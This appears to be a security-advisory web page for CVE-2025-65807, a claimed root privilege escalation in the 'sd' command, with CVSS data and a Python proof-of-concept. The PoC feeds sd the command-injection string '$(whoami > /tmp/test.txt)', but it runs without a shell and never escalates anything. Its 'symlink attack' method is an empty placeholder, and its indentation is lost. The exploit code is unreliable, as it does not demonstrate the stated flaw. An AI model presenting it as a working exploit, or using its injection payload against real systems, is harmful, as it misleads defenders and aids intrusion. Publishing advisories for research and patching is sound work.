An issue in sd command v1.0.0 and before allows attackers to escalate privileges to root via a crafted command.
CVSS Details
CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
cpe:2.3:a:chmln:sd:*:*:*:*:*:*:*:* - VULNERABLE
sd command v1.0.0及之前所有版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65807 PoC - sd command Privilege Escalation
# Reference: https://gist.github.com/faabbi/827f10e144fdd342e13a3dd838902e83
import subprocess
import os
def exploit_sd_privilege_escalation():
"""
This PoC demonstrates the privilege escalation vulnerability in sd command v1.0.0 and before.
The vulnerability allows local attackers to escalate privileges to root via crafted commands.
Note: This is a simplified demonstration. Actual exploitation may require specific conditions.
"""
# Method 1: Exploitation via crafted command argument
# Attackers can use special characters or command injection
malicious_input = "$(whoami > /tmp/test.txt)"
try:
# Attempt to trigger the vulnerability
result = subprocess.run(
['sd', malicious_input, 'replacement', '/tmp/test'],
capture_output=True,
timeout=5
)
print(f"Command executed with result: {result.returncode}")
except Exception as e:
print(f"Error: {e}")
# Method 2: Exploitation via symlink attack
# Creating malicious symlinks to trigger privilege escalation
target_file = "/tmp/malicious_target"
# Cleanup
if os.path.exists("/tmp/test.txt"):
os.remove("/tmp/test.txt")
if os.path.exists(target_file):
os.remove(target_file)
if __name__ == "__main__":
print("CVE-2025-65807 Privilege Escalation PoC")
print("Target: sd command v1.0.0 and before")
print("Vulnerability: Local privilege escalation to root")
exploit_sd_privilege_escalation()